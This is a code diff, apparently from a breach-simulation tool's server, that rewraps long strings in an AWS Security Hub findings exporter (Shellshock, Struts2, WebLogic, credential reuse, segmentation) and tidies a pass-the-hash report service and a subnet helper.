machine=issue['machine'], ip_address=issue['ip_address'], ssh_key=issue['ssh_key']), "over the SSH protocol with private key {ssh_key}.".format(
machine=issue['machine'],
ip_address=issue['ip_address'],
ssh_key=issue['ssh_key']),
instance_arn=instance_arn, instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
) )
@ -216,8 +222,10 @@ class AWSExporter(Exporter):
severity=10, severity=10,
title="Elastic Search servers are vulnerable to CVE-2015-1427", title="Elastic Search servers are vulnerable to CVE-2015-1427",
description="Update your Elastic Search server to version 1.4.3 and up.", description="Update your Elastic Search server to version 1.4.3 and up.",
recommendation="The machine {0}({1}) is vulnerable to an Elastic Groovy attack. The attack was made possible because the Elastic Search server was not patched against CVE-2015-1427.".format( recommendation="The machine {0}({1}) is vulnerable to an Elastic Groovy attack. The attack was made "
issue['machine'], issue['ip_address']), "possible because the Elastic Search server was not patched against CVE-2015-1427.".format(
issue['machine'],
issue['ip_address']),
instance_arn=instance_arn, instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
) )
@ -228,13 +236,13 @@ class AWSExporter(Exporter):
return AWSExporter._build_generic_finding( return AWSExporter._build_generic_finding(
severity=1, severity=1,
title="Weak segmentation - Machines from different segments are able to communicate.", title="Weak segmentation - Machines from different segments are able to communicate.",
description="Segment your network and make sure there is no communication between machines from different segments.", description="Segment your network and make sure there is no communication between machines from different "
"segments.",
recommendation="The network can probably be segmented. A monkey instance on \ recommendation="The network can probably be segmented. A monkey instance on \
{0} in the networks {1} \ {0} in the networks {1} \
could directly access the Monkey Island server in the networks {2}.".format(issue['machine'], could directly access the Monkey Island server in the networks {2}.".format(issue['machine'],
issue['networks'], issue['networks'],
issue[ issue['server_networks']),
'server_networks']),
instance_arn=instance_arn, instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
) )
@ -259,7 +267,8 @@ class AWSExporter(Exporter):
title="Machines are vulnerable to 'Shellshock'", title="Machines are vulnerable to 'Shellshock'",
description="Update your Bash to a ShellShock-patched version.", description="Update your Bash to a ShellShock-patched version.",
recommendation="The machine {0} ({1}) is vulnerable to a ShellShock attack. " recommendation="The machine {0} ({1}) is vulnerable to a ShellShock attack. "
"The attack was made possible because the HTTP server running on TCP port {2} was vulnerable to a shell injection attack on the paths: {3}.".format( "The attack was made possible because the HTTP server running on TCP port {2} was vulnerable to a "
"shell injection attack on the paths: {3}.".format(
issue['machine'], issue['ip_address'], issue['port'], issue['paths']), issue['machine'], issue['ip_address'], issue['port'], issue['paths']),
instance_arn=instance_arn, instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
@ -271,10 +280,13 @@ class AWSExporter(Exporter):
return AWSExporter._build_generic_finding( return AWSExporter._build_generic_finding(
severity=1, severity=1,
title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.", title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.",
description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format( description="Change {0}'s password to a complex one-use password that is not shared with other computers on the "
"network.".format(issue['username']),
recommendation="The machine {0} ({1}) is vulnerable to a SMB attack. The Monkey authenticated over the SMB "
"protocol with user {2} and its password.".format(
issue['machine'],
issue['ip_address'],
issue['username']), issue['username']),
recommendation="The machine {0} ({1}) is vulnerable to a SMB attack. The Monkey authenticated over the SMB protocol with user {2} and its password.".format(
issue['machine'], issue['ip_address'], issue['username']),
instance_arn=instance_arn, instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
) )
@ -285,9 +297,13 @@ class AWSExporter(Exporter):
return AWSExporter._build_generic_finding( return AWSExporter._build_generic_finding(
severity=1, severity=1,
title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.", title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.",
description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.", description="Change {0}'s password to a complex one-use password that is not shared with other computers on the "
recommendation="The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey authenticated over the WMI protocol with user {username} and its password.".format( "network.",
machine=issue['machine'], ip_address=issue['ip_address'], username=issue['username']), recommendation="The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey authenticated over "
"the WMI protocol with user {username} and its password.".format(
machine=issue['machine'],
ip_address=issue['ip_address'],
username=issue['username']),
instance_arn=instance_arn, instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
) )
@ -298,10 +314,13 @@ class AWSExporter(Exporter):
return AWSExporter._build_generic_finding( return AWSExporter._build_generic_finding(
severity=1, severity=1,
title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.", title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.",
description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format( description="Change {0}'s password to a complex one-use password that is not shared with other computers on the "
issue['username']), "network.".format(issue['username']),
recommendation="The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey used a pass-the-hash attack over WMI protocol with user {username}".format( recommendation="The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey used a "
machine=issue['machine'], ip_address=issue['ip_address'], username=issue['username']), "pass-the-hash attack over WMI protocol with user {username}".format(
machine=issue['machine'],
ip_address=issue['ip_address'],
username=issue['username']),
instance_arn=instance_arn, instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
) )
@ -325,9 +344,10 @@ class AWSExporter(Exporter):
return AWSExporter._build_generic_finding( return AWSExporter._build_generic_finding(
severity=1, severity=1,
title="Shared local administrator account - Different machines have the same account as a local administrator.", title="Shared local administrator account - Different machines have the same account as a local administrator.",
description="Make sure the right administrator accounts are managing the right machines, and that there isn\'t an unintentional local admin sharing.", description="Make sure the right administrator accounts are managing the right machines, and that there isn\'t "
recommendation="Here is a list of machines which the account {username} is defined as an administrator: {shared_machines}".format( "an unintentional local admin sharing.",
username=issue['username'], shared_machines=issue['shared_machines']), recommendation="Here is a list of machines which the account {username} is defined as an administrator: "
"{shared_machines}".format(username=issue['username'], shared_machines=issue['shared_machines']),
instance_arn=instance_arn, instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
) )
@ -339,7 +359,8 @@ class AWSExporter(Exporter):
severity=1, severity=1,
title="Mimikatz found login credentials of a user who has admin access to a server defined as critical.", title="Mimikatz found login credentials of a user who has admin access to a server defined as critical.",
description="This critical machine is open to attacks via strong users with access to it.", description="This critical machine is open to attacks via strong users with access to it.",
recommendation="The services: {services} have been found on the machine thus classifying it as a critical machine. These users has access to it:{threatening_users}.".format( recommendation="The services: {services} have been found on the machine thus classifying it as a critical "
"machine. These users has access to it:{threatening_users}.".format(
services=issue['services'], threatening_users=issue['threatening_users']), services=issue['services'], threatening_users=issue['threatening_users']),
instance_arn=instance_arn, instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
@ -353,8 +374,8 @@ class AWSExporter(Exporter):
title="Struts2 servers are vulnerable to remote code execution.", title="Struts2 servers are vulnerable to remote code execution.",
description="Upgrade Struts2 to version 2.3.32 or 2.5.10.1 or any later versions.", description="Upgrade Struts2 to version 2.3.32 or 2.5.10.1 or any later versions.",
recommendation="Struts2 server at {machine} ({ip_address}) is vulnerable to remote code execution attack." recommendation="Struts2 server at {machine} ({ip_address}) is vulnerable to remote code execution attack."
" The attack was made possible because the server is using an old version of Jakarta based file upload Multipart parser.".format( "The attack was made possible because the server is using an old version of Jakarta based file "
machine=issue['machine'], ip_address=issue['ip_address']), "upload Multipart parser.".format(machine=issue['machine'], ip_address=issue['ip_address']),
instance_arn=instance_arn, instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
) )
@ -368,8 +389,8 @@ class AWSExporter(Exporter):
description="Install Oracle critical patch updates. Or update to the latest version. " \ description="Install Oracle critical patch updates. Or update to the latest version. " \
"Vulnerable versions are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0.", "Vulnerable versions are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0.",
recommendation="Oracle WebLogic server at {machine} ({ip_address}) is vulnerable to remote code execution attack." recommendation="Oracle WebLogic server at {machine} ({ip_address}) is vulnerable to remote code execution attack."
" The attack was made possible due to incorrect permission assignment in Oracle Fusion Middleware (subcomponent: WLS Security).".format( "The attack was made possible due to incorrect permission assignment in Oracle Fusion Middleware "
machine=issue['machine'], ip_address=issue['ip_address']), "(subcomponent: WLS Security).".format(machine=issue['machine'], ip_address=issue['ip_address']),
instance_arn=instance_arn, instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
) )

View File

@ -30,7 +30,6 @@ class PTHReportService(object):
} }
""" """
pipeline = [ pipeline = [
{"$match": { {"$match": {
'NTLM_secret': { 'NTLM_secret': {
@ -55,7 +54,7 @@ class PTHReportService(object):
:param admin_on_machines: A list of "monkey" documents "_id"s :param admin_on_machines: A list of "monkey" documents "_id"s
:param domain_name: The admins' domain name :param domain_name: The admins' domain name
:return: :return:
A list of formatted machines names *domain*\*hostname*, to use in shared admins issues. A list of formatted machines names *domain*/*hostname*, to use in shared admins issues.
""" """
machines = mongo.db.monkey.find({'_id': {'$in': admin_on_machines}}, {'hostname': 1}) machines = mongo.db.monkey.find({'_id': {'$in': admin_on_machines}}, {'hostname': 1})
return [domain_name + '\\' + i['hostname'] for i in list(machines)] return [domain_name + '\\' + i['hostname'] for i in list(machines)]
@ -144,7 +143,8 @@ class PTHReportService(object):
{ {
'name': admin['name'], 'name': admin['name'],
'domain_name': admin['domain_name'], 'domain_name': admin['domain_name'],
'admin_on_machines': PTHReportService.__get_admin_on_machines_format(admin['admin_on_machines'], admin['domain_name']) 'admin_on_machines': PTHReportService.__get_admin_on_machines_format(admin['admin_on_machines'],
admin['domain_name'])
} for admin in admins } for admin in admins
] ]
@ -283,4 +283,3 @@ class PTHReportService(object):
} }
return report return report

View File

@ -71,5 +71,12 @@ def get_subnets():
subnets = [] subnets = []
for interface in interfaces(): for interface in interfaces():
addresses = ifaddresses(interface).get(AF_INET, []) addresses = ifaddresses(interface).get(AF_INET, [])
subnets.extend([ipaddress.ip_interface(link['addr'] + '/' + link['netmask']).network for link in addresses if link['addr'] != '127.0.0.1']) subnets.extend(
[
ipaddress.ip_interface(link['addr'] + '/' + link['netmask']).network
for link
in addresses
if link['addr'] != '127.0.0.1'
]
)
return subnets return subnets